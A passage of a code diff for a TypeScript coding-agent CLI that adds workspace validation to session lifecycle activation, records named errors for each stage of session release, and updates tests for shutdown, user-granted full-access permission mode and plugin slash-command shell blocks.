   if (!result) throw new Error("Fork runtime already initialized");
   return result;
 }

+ 17 - 7
apps/zcode-cli/packages/bootstrap/src/zcode-protocol/server.ts

@@ -1,4 +1,8 @@
-import { sessionLifecycleParamsSchema, sessionLifecycleSnapshotSchema } from "@zcode/shared";
+import {
+  sessionLifecycleActivationParamsSchema,
+  sessionLifecycleParamsSchema,
+  sessionLifecycleSnapshotSchema,
+} from "@zcode/shared";
 import { querySessionDebug } from "./session-debug.js";
 import { offPeakControlParamsSchema, offPeakControlResultSchema } from "@zcode/shared";
 import { createNodeNetworkCapture } from "@zcode/shared/node";
@@ -715,16 +719,21 @@ export class ZCodeProtocolAgentServer {
           await getSessionLifecycle(this.context).getState(sessionId),
         );
       }
+      case zcodeProtocolMethods.sessionLifecycleStop: {
+        const { sessionId } = parseParams(sessionLifecycleParamsSchema, request.params);
+        await getSessionLifecycle(this.context).stop(sessionId);
+        return { completed: true as const };
+      }
       case zcodeProtocolMethods.sessionLifecycleEnsureReady:
-      case zcodeProtocolMethods.sessionLifecycleStop:
       case zcodeProtocolMethods.sessionLifecycleRestart: {
-        const { sessionId } = parseParams(sessionLifecycleParamsSchema, request.params);
+        const { sessionId, workspace } = parseParams(
+          sessionLifecycleActivationParamsSchema,
+          request.params,
+        );
         const lifecycle = getSessionLifecycle(this.context);
         if (request.method === zcodeProtocolMethods.sessionLifecycleEnsureReady)
-          await lifecycle.ensureReady(sessionId);
-        else if (request.method === zcodeProtocolMethods.sessionLifecycleStop)
-          await lifecycle.stop(sessionId);
-        else await lifecycle.restart(sessionId);
+          await lifecycle.ensureReady(sessionId, workspace);
+        else await lifecycle.restart(sessionId, workspace);
         return { completed: true as const };
       }
       case zcodeProtocolMethods.sessionResume:
@@ -886,6 +895,7 @@ export class ZCodeProtocolAgentServer {
         this.context.sessionWorkspaceRoutingEnabled ||=
           params.hostCapabilities?.sessionWorkspaceRouting === true;
         return {
+          sessionLifecycleWorkspace: true,
           sessionWorkspaceRouting: true,
           independentPlanState: true,
           historyFirst: true,

+ 50 - 16
apps/zcode-cli/packages/bootstrap/src/zcode-protocol/session-residency.ts

@@ -9,7 +9,7 @@ import type {
 } from "./session-resident-pool.js";
 import type { ZCodeProtocolAgentServerContext } from "./server-types.js";
 import { SessionLifecycleController } from "../session-lifecycle/index.js";
-import { activateSessionRuntime } from "./server-operations.js";
+import { activateSessionRuntime, validateSessionActivationWorkspace } from "./server-operations.js";
 import { abortMcpUiToolCallsForSession, clearMcpUiAppToolsForSession } from "./mcp-ui/index.js";
 
 export function getSessionLifecycle(
@@ -22,11 +22,16 @@ export function getSessionLifecycle(
       return Boolean(persisted || context.sessions.has(sessionId));
     },
     hasRuntime: (sessionId) => context.sessions.has(sessionId),
-    activate: async (sessionId) => {
-      const persistedMessages = await context.v4Gateway?.prepareSessionHistory(sessionId);
+    validateActivation: (sessionId, workspace) =>
+      validateSessionActivationWorkspace(context, sessionId, workspace),
+    activate: async (sessionId, workspace) => {
+      const persistedMessages = await context.v4Gateway?.prepareSessionHistory(
+        sessionId,
+        workspace,
+      );
       await activateSessionRuntime(
         context,
-        { sessionId },
+        { sessionId, workspace },
         {
           reusePersistedMessages: true,
           persistedMessages,
@@ -127,39 +132,61 @@ async function releaseSessionRecord(
       context.v4Gateway?.disposeSession(sessionId);
     return;
   }
-  const errors: unknown[] = [];
+  const errors: Error[] = [];
+  const failed = (stage: string, cause: unknown) => {
+    const error = new Error(`${stage}: ${cause instanceof Error ? cause.message : String(cause)}`, {
+      cause,
+    });
+    errors.push(error);
+    context.logger?.warn("Session release stage failed", {
+      event: "zcode_protocol.session.release_stage_failed",
+      sessionId,
+      mode,
+      stage,
+      error: error.message,
+      code: cause && typeof cause === "object" && "code" in cause ? cause.code : undefined,
+    });
+  };
   let projectionReleased: Promise<void> | undefined;
   if (mode === "close") {
     // 先冻结后台唤醒和队列,再暂停目标并取消执行;重启不能在取消后自动续跑。
     try {
       record.app.runtime.beginShutdown();
+    } catch (error) {
+      failed("close_admission", error);
+    }
+    try {
       const target = await record.app.readTarget?.();
       if (target?.status === "active") await record.app.updateTargetStatus?.("paused");
     } catch (error) {
-      errors.push(error);
+      failed("goal_pause", error);
     }
     try {
       record.app.runtime.stopActiveForegroundExecution?.({ reason: "session runtime restarting" });
       record.activeAbortController?.abort(new Error("Session runtime restarting"));
     } catch (error) {
-      errors.push(error);
+      failed("cancel_execution", error);
     }
   }
   try {
     record.unsubscribe?.();
   } catch (error) {
-    errors.push(error);
+    failed("unsubscribe", error);
   }
   // 先摘除旧实例,避免 close 的 await 窗口向半关闭 runtime 发命令。
   // gateway 的删除通知需要 registry 中的 workspace 身份,因此必须在摘除前发出。
   try {
     if (mode === "close")
-      projectionReleased = context.v4Gateway?.releaseSessionProjection(sessionId);
+      projectionReleased = context.v4Gateway
+        ?.releaseSessionProjection(sessionId)
+        .catch((error: unknown) => {
+          failed("projection_release", error);
+        });
     else if (mode === "deactivate") context.v4Gateway?.deactivateSession(sessionId);
     else if (mode !== "discard" && mode !== "shutdown")
       context.v4Gateway?.disposeSession(sessionId, { deleted: mode === "delete" });
   } catch (error) {
-    errors.push(error);
+    failed("projection_release", error);
   }
   context.sessions.delete(sessionId);
   if (mode === "close" || mode === "delete") {
@@ -168,22 +195,25 @@ async function releaseSessionRecord(
       clearMcpUiAppToolsForSession(context, sessionId);
       await record.app.unsubscribeMcpResourcesForUi?.(`${sessionId}|`);
     } catch (error) {
-      errors.push(error);
+      failed("mcp_ui_release", error);
     }
   }
   // 一个清理步骤失败不能跳过 app.close;最终错误仍由生命周期 owner 隔离。
+  let runtimeClosed = false;
   try {
     await record.app.close?.();
+    runtimeClosed = true;
   } catch (error) {
-    errors.push(error);
+    failed("runtime_close", error);
   }
-  if (errors.length === 0) {
+  // 投影的拒绝必须始终被消费;只有真实 runtime close 完成后才能结算其执行队列。
+  await projectionReleased;
+  if (runtimeClosed) {
     try {
-      await projectionReleased;
       await waitForSessionResidencyFinalization(record);
       if (mode === "close") await context.v4Gateway?.finishSessionRelease(sessionId);
     } catch (error) {
-      errors.push(error);
+      failed("execution_finalization", error);
     }
   }
   try {
@@ -196,7 +226,11 @@ async function releaseSessionRecord(
       error: error instanceof Error ? error.message : String(error),
     });
   }
-  if (errors.length) throw new AggregateError(errors, "Session runtime release failed");
+  if (errors.length)
+    throw new AggregateError(
+      errors,
+      `Session runtime release failed: ${errors.map((error) => error.message).join("; ")}`,
+    );
 }
 
 export function createSessionResidentPoolHost(

+ 21 - 17
apps/zcode-cli/packages/bootstrap/src/zcode-protocol/v4-bridge.ts

@@ -1673,23 +1673,27 @@ export function createConversationV4Gateway(
       try {
         // 必须先登记生命周期,再读取启动信息。否则 restart 会等待旧 opening,
         // 迟到的旧读取又加入 restart,双方永久等待。
-        await getSessionLifecycle(context).initialize(sessionId, async () => {
-          const persisted = await context.deps.sessionStore?.getSession(sessionId as SessionId);
-          if (!persisted || persisted.time.deleted !== undefined) {
-            throw new SessionLifecycleError("sessionNotFound", `Session not found: ${sessionId}`);
-          }
-          activated = await activateSessionRuntime(
-            context,
-            {
-              sessionId,
-              // attachment 的 workspace 身份与附加目录仍由原恢复入口传递。
-              ...(workspace ? { workspace } : {}),
-              ...(additionalDirectories !== undefined ? { additionalDirectories } : {}),
-              ...(resumeThoughtLevel ? { thoughtLevel: resumeThoughtLevel } : {}),
-            },
-            { reusePersistedMessages: true, persistedMessages },
-          );
-        });
+        await getSessionLifecycle(context).initialize(
+          sessionId,
+          async () => {
+            const persisted = await context.deps.sessionStore?.getSession(sessionId as SessionId);
+            if (!persisted || persisted.time.deleted !== undefined) {
+              throw new SessionLifecycleError("sessionNotFound", `Session not found: ${sessionId}`);
+            }
+            activated = await activateSessionRuntime(
+              context,
+              {
+                sessionId,
+                // attachment 的 workspace 身份与附加目录仍由原恢复入口传递。
+                ...(workspace ? { workspace } : {}),
+                ...(additionalDirectories !== undefined ? { additionalDirectories } : {}),
+                ...(resumeThoughtLevel ? { thoughtLevel: resumeThoughtLevel } : {}),
+              },
+              { reusePersistedMessages: true, persistedMessages },
+            );
+          },
+          workspace,
+        );
       } catch (error) {
         if (!(error instanceof SessionLifecycleError) || error.code !== "sessionNotFound")
           throw error;

+ 167 - 0
apps/zcode-cli/packages/bootstrap/tests/draft-permission-full-access.test.ts

@@ -0,0 +1,167 @@
+import { describe, expect, it, vi } from "vitest";
+import { createInMemorySessionEventStore, createSqliteSessionStore } from "@zcode/adapters/storage";
+import { createSessionId, SessionEventType } from "@zcode/contracts";
+import { createRegistryBackedTestApp } from "./helpers/registry-backed-test-app.js";
+
+async function fixture() {
+  const store = await createSqliteSessionStore({ dbPath: ":memory:" });
+  const events = createInMemorySessionEventStore();
+  const sessionId = createSessionId("draft-permission");
+  const options = {
+    env: {},
+    sessionId,
+    sessionStore: store,
+    eventStore: events,
+    skipUserConfig: true,
+    // 此夹具只验证授权与 SQLite;隔离目录 MCP 自动连接,真实工具链由 Electron E2E 验证。
+    runtimeConfig: {
+      workingDirectory: process.cwd(),
+      mode: "build" as const,
+      mcp: { enabled: false },
+    },
+    modelExecutor: {
+      async generateText() {
+        return {
+          finishReason: "stop" as const,
+          text: "done",
+          usage: { inputTokens: 1, outputTokens: 1, totalTokens: 2 },
+        };
+      },
+    },
+  };
+  const app = await createRegistryBackedTestApp(options);
+  return {
+    app,
+    store,
+    events,
+    sessionId,
+    options,
+    async close() {
+      await app.close();
+      store.close();
+    },
+  };
+}
+
+describe("草稿完全访问与真实 SQLite 外键", () => {
+  it("重复审批复用已发布事件且不登记任务", async () => {
+    const f = await fixture();
+    try {
+      const first = await f.app.runtime.grantPermissionFullAccess("retry-grant");
+      const retry = await f.app.runtime.grantPermissionFullAccess("retry-grant");
+      expect(retry).toBe(first);
+      expect(
+        (await f.events.getEvents(f.sessionId)).filter(
+          (event) => event.type === SessionEventType.SessionModeChanged,
+        ),
+      ).toHaveLength(1);
+      expect(f.store.debugCounts(f.sessionId)).toMatchObject({
+        sessions: 0,
+        sessionEntries: 0,
+        messages: 0,
+      });
+    } finally {
+      await f.close();
+    }
+  });
+  it("授权不登记任务,首发保存当前权限,冷恢复沿用权限", async () => {
+    const f = await fixture();
+    try {
+      await f.app.runtime.grantPermissionFullAccess("draft-grant");
+      expect(f.app.getMode()).toBe("yolo");
+      expect(await f.store.getSession(f.sessionId)).toBeNull();
+      expect(await f.store.sessionEntries({ sessionID: f.sessionId })).toEqual([]);
+      expect(await f.store.messages({ sessionID: f.sessionId })).toEqual([]);
+      expect(
+        (await f.events.getEvents(f.sessionId)).filter(
+          (e) => e.type === SessionEventType.SessionModeChanged,
+        ),
+      ).toEqual([
+        expect.objectContaining({
+          payload: expect.objectContaining({
+            mode: "yolo",
+            permissionGrant: { interactionId: "draft-grant", queueItemIds: [] },
+          }),
+        }),
+      ]);
+      await f.app.submitPrompt("first message");
+      expect((await f.store.getSession(f.sessionId))?.permission).toMatchObject({ mode: "yolo" });
+      expect(
+        await f.store.sessionEntries({ sessionID: f.sessionId, type: "runtime/execution_state" }),
+      ).toEqual([expect.objectContaining({ data: expect.objectContaining({ mode: "yolo" }) })]);
+      expect(
+        await f.store.sessionEntries({
+          sessionID: f.sessionId,
+          type: "runtime/permission_full_access",
+        }),
+      ).toEqual([]);
+      await f.app.close();
+      const resumed = await createRegistryBackedTestApp({
+        ...f.options,
+        eventStore: createInMemorySessionEventStore(),
+        resume: true,
+        runtimeConfig: { workingDirectory: process.cwd(), mcp: { enabled: false } },
+      });
+      try {
+        await resumed.resume();
+        expect(resumed.getMode()).toBe("yolo");
+      } finally {
+        await resumed.close();
+      }
+    } finally {
+      await f.close();
+    }
+  });
+
+  it.each(["before", "during"] as const)(
+    "持久化在授权准备 %s 开始时,先等它完成再提交授权",
+    async (order) => {
+      const f = await fixture();
+      const gate = Promise.withResolvers<void>();
+      const readGate = Promise.withResolvers<void>();
+      const entered = Promise.withResolvers<void>();
+      try {
+        const create = f.store.createSession.bind(f.store);
+        vi.spyOn(f.store, "createSession").mockImplementationOnce(async (input) => {
+          await gate.promise;
+          return create(input);
+        });
+        const commit = vi.spyOn(f.store, "commitPermissionFullAccess");
+        const read = f.store.sessionEntries.bind(f.store);
+        vi.spyOn(f.store, "sessionEntries").mockImplementationOnce(async (input) => {
+          entered.resolve();
+          await readGate.promise;
+          return read(input);
+        });
+        const persist =
+          order === "before"
+            ? f.app.runtime.ensureSessionPersistedForExternalActivity("external activity")
+            : null;
+        const grant = f.app.runtime.grantPermissionFullAccess("concurrent-grant");
+        await entered.promise;
+        const during =
+          order === "during"
+            ? f.app.runtime.ensureSessionPersistedForExternalActivity("external activity")
+            : null;
+        readGate.resolve();
+        // 观察拒绝避免测试故障成为未处理 rejection;释放持久化后再断言原 Promise。
+        void grant.catch(() => {});
+        await new Promise<void>((resolve) => setImmediate(resolve));
+        expect(commit).not.toHaveBeenCalled();
+        gate.resolve();
+        await persist;
+        await during;
+        await grant;
+        expect(commit).toHaveBeenCalledOnce();
+        expect(f.app.getMode()).toBe("yolo");
+        expect(
+          await f.store.sessionEntries({ sessionID: f.sessionId, type: "runtime/execution_state" }),
+        ).toEqual([expect.objectContaining({ data: expect.objectContaining({ mode: "yolo" }) })]);
+      } finally {
+        gate.resolve();
+        readGate.resolve();
+        await f.close();
+      }
+    },
+  );
+});

+ 45 - 48
apps/zcode-cli/packages/bootstrap/tests/protocol-slash-commands.test.ts

@@ -2,7 +2,6 @@ import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
 import { tmpdir } from "node:os";
 import { join } from "node:path";
 import { describe, expect, it } from "vitest";
-import type { ExecutionPort, ExecutionResult } from "@zcode/contracts";
 import { resolveZCodeBuiltinPromptCommand } from "../src/builtin-prompt-command.js";
 import { resolveZCodeCustomCommandPrompt } from "../src/custom-command-prompt.js";
 
@@ -121,49 +120,62 @@ describe("protocol slash command surface", () => {
     }
   });
 
-  it("fails shell-expanded custom commands that request unavailable contexts", async () => {
-    const tempRoot = await mkdtemp(join(tmpdir(), "zcode-command-shell-missing-context-"));
+  it("hands plugin shell blocks to the model with the plugin root resolved", async () => {
+    const tempRoot = await mkdtemp(join(tmpdir(), "zcode-plugin-command-shell-"));
     const workspace = join(tempRoot, "workspace");
-    const home = join(tempRoot, "home");
-    const userCommands = join(home, ".zcode", "commands");
-    let executionCalled = false;
-    const executionPort: ExecutionPort = {
-      async run() {
-        executionCalled = true;
-        return createExecutionResult("should not run");
-      },
-    };
+    const pluginRoot = join(tempRoot, "ralph-loop");
+    const commandsRoot = join(pluginRoot, "commands");
+    const pluginDataRoot = join(tempRoot, "plugins");
+    const configPath = join(tempRoot, "config.json");
 
     try {
-      await mkdir(userCommands, { recursive: true });
-      await writeCommand(
-        userCommands,
-        "skill-context",
-        "Needs skill context",
-        ["```!", 'echo "${CLAUDE_SKILL_DIR}"', "```"].join("\n"),
+      await mkdir(commandsRoot, { recursive: true });
+      await mkdir(join(pluginRoot, ".claude-plugin"), { recursive: true });
+      await writeFile(
+        join(pluginRoot, ".claude-plugin", "plugin.json"),
+        JSON.stringify({ name: "ralph-loop", version: "1.0.0" }),
       );
       await writeCommand(
-        userCommands,
-        "session-context",
-        "Needs session context",
-        ["```!", 'echo "${CLAUDE_SESSION_ID}"', "```"].join("\n"),
+        commandsRoot,
+        "ralph-loop",
+        "Start Ralph",
+        [
+          "Before",
+          "```!",
+          'echo "${CLAUDE_PLUGIN_ROOT}/scripts/setup-ralph-loop.sh" "$ARGUMENTS" "$CLAUDE_PROJECT_DIR"',
+          "```",
+          "After",
+        ].join("\n"),
+      );
+      await writeFile(
+        configPath,
+        JSON.stringify({
+          plugins: {
+            dirs: [pluginRoot],
+            enabled: true,
+          },
+          storage: {
+            dir: pluginDataRoot,
+          },
+        }),
       );
 
-      const options = {
+      // 项目配置会剥离 plugins.dirs(工作区不能引入插件根目录),测试插件只能经用户配置加载;
+      // homeDirectory 指向临时目录,不读本机用户命令。
+      const prompt = await resolveZCodeCustomCommandPrompt("/ralph-loop build demo", {
         env: { ZCODE_ENV: "test" },
-        executionPort,
-        homeDirectory: home,
-        skipUserConfig: true,
+        homeDirectory: join(tempRoot, "home"),
+        userConfigPath: configPath,
         workingDirectory: workspace,
-      };
+      });
 
-      await expect(resolveZCodeCustomCommandPrompt("/skill-context", options)).rejects.toThrow(
-        "Custom command /skill-context variable requires a skill context: CLAUDE_SKILL_DIR",
+      expect(prompt).not.toContain("```!");
+      expect(prompt).toContain(`the /ralph-loop command file (user/plugin), not from ZCode.`);
+      // 命令文本自带 "/scripts/...",期望值不能用 join() 拼平台分隔符;工作区变量由 Bash 环境提供,保持原文。
+      // Windows 上插件路径改写成正斜杠,期望值按同一规则换算;POSIX 路径不受影响。
+      expect(prompt).toContain(
+        `\`\`\`bash\necho "${pluginRoot.replaceAll("\\", "/")}/scripts/setup-ralph-loop.sh" "build demo" "$CLAUDE_PROJECT_DIR"\n\`\`\`\n`,
       );
-      await expect(resolveZCodeCustomCommandPrompt("/session-context", options)).rejects.toThrow(
-        "Custom command /session-context variable requires a runtime session context: CLAUDE_SESSION_ID",
-      );
-      expect(executionCalled).toBe(false);
     } finally {
       await rm(tempRoot, { force: true, recursive: true });
     }
@@ -182,18 +194,3 @@ async function writeCommand(
     ["---", `description: ${description}`, ...extraFrontmatter, "---", "", body].join("\n"),
   );
 }
-
-function createExecutionResult(stdout: string): ExecutionResult {
-  const now = new Date();
-  return {
-    status: "completed",
-    exitCode: 0,
-    stdout: { text: stdout, bytes: stdout.length, truncated: false },
-    stderr: { text: "", bytes: 0, truncated: false },
-    durationMs: 1,
-    timedOut: false,
-    cancelled: false,
-    startedAt: now,
-    completedAt: now,
-  };
-}

+ 142 - 42
apps/zcode-cli/packages/bootstrap/tests/session-facade-shutdown.test.ts

@@ -1,55 +1,156 @@
-import { setTimeout as sleep } from "node:timers/promises";
 import { describe, expect, it, vi } from "vitest";
-import { closeSessionResources } from "../src/app/session-facade.js";
+import { closeSessionResources, createSessionFacade } from "../src/app/session-facade.js";
 
 describe("session facade shutdown", () => {
-  it("closes independent resources but keeps store until a slow resource actually settles", async () => {
+  it.each(["runtime_work", "browser_session"] as const)(
+    "logs pending %s once without finishing shutdown",
+    async (resource) => {
+      vi.useFakeTimers();
+      const gate = Promise.withResolvers<void>();
+      const warn = vi.fn();
+      const drain = vi.fn(() => (resource === "runtime_work" ? gate.promise : Promise.resolve()));
+      const browser = vi.fn(() =>
+        resource === "browser_session" ? gate.promise : Promise.resolve(),
+      );
+      const facade = createSessionFacade({
+        configResult: { config: { ui: { locale: "en" } } },
+        runtime: { beginShutdown() {}, closeOwnedWork: drain, closeBrowserSession: browser },
+        ownsSessionStore: false,
+        ownsExecutionPort: false,
+        ownsMcpPort: false,
+        logger: { warn },
+      } as never);
+      let settled = false;
+      const close = facade.close!().then(() => {
+        settled = true;
+      });
+      const duplicate = facade.close!();
+      try {
+        await vi.advanceTimersByTimeAsync(30_000);
+        expect(warn).toHaveBeenCalledWith(
+          "Session resources are still closing",
+          expect.objectContaining({
+            event: "session.resource_close.slow",
+            pendingResources: [resource],
+          }),
+        );
+        expect(settled).toBe(false);
+        await vi.advanceTimersByTimeAsync(30_000);
+        expect(warn).toHaveBeenCalledTimes(1);
+        gate.resolve();
+        await Promise.all([close, duplicate]);
+        expect(drain).toHaveBeenCalledTimes(1);
+        expect(browser).toHaveBeenCalledTimes(1);
+        expect(vi.getTimerCount()).toBe(0);
+      } finally {
+        gate.resolve();
+        await Promise.allSettled([close, duplicate]);
+        vi.useRealTimers();
+      }
+    },
+  );
+
+  it("keeps actual close pending beyond the former six-second budget", async () => {
+    vi.useFakeTimers();
     const gate = Promise.withResolvers<void>();
-    const events: string[] = [];
+    const closed: string[] = [];
     const warn = vi.fn();
-    const closePromise = closeSessionResources({
-      beginShutdown: () => events.push("admission_closed"),
-      closeBrowserSession: async () => {
-        events.push("browser_started");
-        await gate.promise;
-      },
-      closeExecution: async () => {
-        events.push("execution_closed");
+    let settled = false;
+    const close = closeSessionResources({
+      beginShutdown() {},
+      closeBrowserSession: () => gate.promise,
+      closeExecution: () => {
+        closed.push("execution");
       },
-      closeMcp: async () => {
-        events.push("mcp_closed");
+      closeSessionStore: () => {
+        closed.push("store");
       },
-      closeNodeReplBrowserBroker: async () => {
-        events.push("broker_closed");
-      },
-      closeSessionStore: () => events.push("store_closed"),
       logger: { warn } as never,
-      timeoutMs: 25,
     });
+    void close.then(
+      () => {
+        settled = true;
+      },
+      () => {
+        settled = true;
+      },
+    );
+    try {
+      await vi.advanceTimersByTimeAsync(6001);
+      expect(settled).toBe(false);
+      expect(closed).toEqual(["execution"]);
+      gate.resolve();
+      await close;
+      expect(closed).toEqual(["execution", "store"]);
+      expect(warn).not.toHaveBeenCalled();
+    } finally {
+      gate.resolve();
+      await close.catch(() => {});
+      vi.useRealTimers();
+    }
+  });
 
-    const failed = expect(closePromise).rejects.toThrow("timed out");
-    await sleep(5);
-    expect(events).toEqual([
-      "admission_closed",
-      "browser_started",
-      "execution_closed",
-      "mcp_closed",
-      "broker_closed",
-    ]);
-
-    await failed;
-
-    expect(events).not.toContain("store_closed");
-    gate.resolve();
-    await sleep(0);
-    expect(events.at(-1)).toBe("store_closed");
-    expect(warn).toHaveBeenCalledWith(
-      "Session resource close timed out",
-      expect.objectContaining({
-        event: "session.resource_close.timed_out",
-        resource: "session_resources",
-      }),
+  it("shares actual facade shutdown while owned work is still draining", async () => {
+    vi.useFakeTimers();
+    const gate = Promise.withResolvers<void>();
+    const browser = vi.fn(async () => {});
+    const drain = vi.fn(() => gate.promise);
+    const facade = createSessionFacade({
+      configResult: { config: { ui: { locale: "en" } } },
+      runtime: { beginShutdown() {}, closeOwnedWork: drain, closeBrowserSession: browser },
+      ownsSessionStore: false,
+      ownsExecutionPort: false,
+      ownsMcpPort: false,
+      logger: { warn: vi.fn() },
+    } as never);
+    let settled = false;
+    const close = facade.close!();
+    const duplicate = facade.close!();
+    void close.then(
+      () => {
+        settled = true;
+      },
+      () => {
+        settled = true;
+      },
     );
+    try {
+      await vi.advanceTimersByTimeAsync(6001);
+      expect(settled).toBe(false);
+      expect(browser).not.toHaveBeenCalled();
+      gate.resolve();
+      await Promise.all([close, duplicate]);
+      expect(drain).toHaveBeenCalledOnce();
+      expect(browser).toHaveBeenCalledOnce();
+    } finally {
+      gate.resolve();
+      await Promise.allSettled([close, duplicate]);
+      vi.useRealTimers();
+    }
+  });
+
+  it("registers the close promise before synchronous shutdown callbacks can reenter", async () => {
+    let reentered = false;
+    const drain = vi.fn(async () => {});
+    const facade = createSessionFacade({
+      configResult: { config: { ui: { locale: "en" } } },
+      runtime: {
+        beginShutdown() {
+          if (!reentered) {
+            reentered = true;
+            void facade.close!();
+          }
+        },
+        closeOwnedWork: drain,
+        closeBrowserSession: async () => {},
+      },
+      ownsSessionStore: false,
+      ownsExecutionPort: false,
+      ownsMcpPort: false,
+      logger: { warn: vi.fn() },
+    } as never);
+    await facade.close!();
+    expect(drain).toHaveBeenCalledOnce();
   });
 
   it("isolates close failures and still closes the session store", async () => {
@@ -68,7 +169,6 @@ describe("session facade shutdown", () => {
         },
         closeSessionStore: () => events.push("store_closed"),
         logger: { warn } as never,
-        timeoutMs: 50,
       }),
     ).rejects.toBeInstanceOf(AggregateError);
 

+ 0 - 36
apps/zcode-cli/packages/bootstrap/tests/session-facade.test.ts

@@ -405,39 +405,3 @@ function deferred<T>() {
 async function nextTask(): Promise<void> {
   await new Promise<void>((resolve) => setTimeout(resolve, 0));
 }
-
-it("timeout reports failure but retains store until the actual owner drain completes", async () => {
-  vi.useFakeTimers();
-  const drain = deferred<void>();
-  const closeStore = vi.fn();
-  const closeExecution = vi.fn(async () => {});
-  const facade = createSessionFacade({
-    configResult: { config: DefaultRuntimeConfig },
-    runtime: {
-      beginShutdown() {},
-      closeOwnedWork: () => drain.promise,
-      closeBrowserSession: async () => {},
-    },
-    logger: { warn: vi.fn() },
-    ownsSessionStore: true,
-    sessionStore: { close: closeStore },
-    ownsExecutionPort: true,
-    executionPort: { close: closeExecution },
-  } as never);
-  try {
-    const closing = facade.close!();
-    const failed = expect(closing).rejects.toThrow();
-    await vi.advanceTimersByTimeAsync(6001);
-    await failed;
-    expect(closeStore).not.toHaveBeenCalled();
-    expect(closeExecution).not.toHaveBeenCalled();
-    drain.resolve();
-    await vi.runAllTimersAsync();
-    expect(closeStore).toHaveBeenCalledOnce();
-    expect(closeExecution).toHaveBeenCalledOnce();
-    await expect(facade.close!()).rejects.toThrow();
-  } finally {
-    drain.resolve();
-    vi.useRealTimers();
-  }
-});

+ 68 - 0
apps/zcode-cli/packages/bootstrap/tests/session-lifecycle/controller.test.ts

@@ -10,6 +10,7 @@ function fixture() {
     activate: vi.fn(async (id: string) => {
       runtimes.add(id);
     }),
+    validateActivation: vi.fn(async () => {}),
     assertCanStop: vi.fn(),
     release: vi.fn(async (id: string) => {
       runtimes.delete(id);
@@ -20,6 +21,70 @@ function fixture() {
 }
 
 describe("session runtime lifecycle", () => {
+  it.each(["ensureReady", "initialize"] as const)(
+    "validates %s joining an old contextless startup",
+    async (method) => {
+      const { lifecycle, host } = fixture();
+      const gate = Promise.withResolvers<void>();
+      const startup = lifecycle.initialize("a", () => gate.promise);
+      const workspace = { workspacePath: "/wrong", workspaceKey: "/wrong" };
+      host.validateActivation.mockRejectedValue(new Error("wrong workspace"));
+      const unusedActivation = vi.fn(async () => {});
+      const joined =
+        method === "ensureReady"
+          ? lifecycle.ensureReady("a", workspace)
+          : lifecycle.initialize("a", unusedActivation, workspace);
+      const rejection = expect(joined).rejects.toThrow("wrong workspace");
+      gate.resolve();
+      await startup;
+      await rejection;
+      expect(host.validateActivation).toHaveBeenCalledWith("a", workspace);
+      expect(unusedActivation).not.toHaveBeenCalled();
+      expect(host.release).not.toHaveBeenCalled();
+      expect((await lifecycle.getState("a")).state).toBe("ready");
+    },
+  );
+
+  it("registers creation ownership before persistence without running restore validation", async () => {
+    const { lifecycle, host } = fixture();
+    const gate = Promise.withResolvers<void>();
+    const workspace = { workspacePath: "/repo", workspaceKey: "/repo" };
+    host.validateActivation.mockRejectedValue(new Error("not persisted yet"));
+    const startup = lifecycle.initialize("new", () => gate.promise, workspace, "create");
+    const joined = lifecycle.ensureReady("new", workspace);
+    await expect(
+      lifecycle.ensureReady("new", { workspacePath: "/other", workspaceKey: "/other" }),
+    ).rejects.toMatchObject({ code: "conflict" });
+    gate.resolve();
+    await Promise.all([startup, joined]);
+    expect(host.validateActivation).not.toHaveBeenCalled();
+  });
+
+  it("keeps one workspace per flight and validates restart before releasing", async () => {
+    const { lifecycle, host } = fixture();
+    const workspace = { workspacePath: "/repo/", workspaceKey: "/repo/" };
+    const other = { workspacePath: "/other", workspaceKey: "/other" };
+    const entered = Promise.withResolvers<void>();
+    const gate = Promise.withResolvers<void>();
+    host.activate.mockImplementationOnce(async () => {
+      entered.resolve();
+      await gate.promise;
+    });
+    const startup = lifecycle.ensureReady("a", workspace);
+    await entered.promise;
+    await expect(lifecycle.restart("a", other)).rejects.toMatchObject({ code: "conflict" });
+    await expect(lifecycle.ensureReady("a", other)).rejects.toMatchObject({ code: "conflict" });
+    const restarting = lifecycle.restart("a", workspace);
+    gate.resolve();
+    await Promise.all([startup, restarting]);
+    expect(host.activate).toHaveBeenLastCalledWith("a", workspace);
+    host.release.mockClear();
+    host.validateActivation.mockRejectedValueOnce(new Error("wrong workspace"));
+    await expect(lifecycle.restart("a", workspace)).rejects.toThrow("wrong workspace");
+    expect(host.release).not.toHaveBeenCalled();
+    expect((await lifecycle.getState("a")).state).toBe("ready");
+  });
+
   it("does not treat a deleted persistent session as ready even if its old runtime remains", async () => {
     const { lifecycle, known } = fixture();
     await lifecycle.ensureReady("a");
@@ -40,12 +105,15 @@ describe("session runtime lifecycle", () => {
   it("joins concurrent startup and does not expose a registered partial instance as ready", async () => {
     const { lifecycle, host, runtimes } = fixture();
     const gate = Promise.withResolvers<void>();
+    const entered = Promise.withResolvers<void>();
     host.activate.mockImplementation(async (id) => {
       runtimes.add(id);
+      entered.resolve();
       await gate.promise;
     });
     const first = lifecycle.ensureReady("a");
     const second = lifecycle.ensureReady("a");
+    await entered.promise;
     expect((await lifecycle.getState("a")).state).toBe("starting");
     gate.resolve();
     await Promise.all([first, second]);

+ 145 - 0
apps/zcode-cli/packages/bootstrap/tests/session-resident-pool.test.ts

@@ -23,6 +23,7 @@ import type {
   ModelProviderId,
   ProjectId,
   SessionId,
+  WorkspaceId,
 } from "@zcode/contracts";
 import { zcodeProtocolMethods, type ZCodeProtocolMessage } from "@zcode/shared";
 import {
@@ -1069,6 +1070,150 @@ describe("session lifecycle protocol", () => {
       params: { sessionId: SESSION_ID },
     });
 
+  it.each(["desktop-continuous", "web-remote-replayable"] as const)(
+    "carries the attachment through cold open and lifecycle activation (%s)",
+    async (clientMode) => {
+      const workspace = { workspacePath: WORKSPACE_PATH + "/", workspaceKey: WORKSPACE_PATH + "/" };
+      const requests: unknown[] = [];
+      await requestResult(harness.server, {
+        id: "capabilities",
+        method: zcodeProtocolMethods.runtimeCapabilities,
+        params: {
+          hostCapabilities: { sessionDirectorySource: true, sessionWorkspaceRouting: true },
+        },
+      });
+      harness.server.setNotificationSink((message) => {
+        if (!("id" in message) || !("method" in message)) return;
+        requests.push(message.params);
+        const correct = (message.params as { workspace?: unknown }).workspace;
+        void harness.server.handleMessage(
+          JSON.stringify(correct) === JSON.stringify(workspace)
+            ? { id: message.id, result: { nativeSearchEnhancementsEnabled: false } }
+            : {
+                id: message.id,
+                error: { code: -32602, message: "Request workspace is not owned by this CLI" },
+              },
+        );
+      });
+      const before = await harness.store.getSession(SESSION_ID);
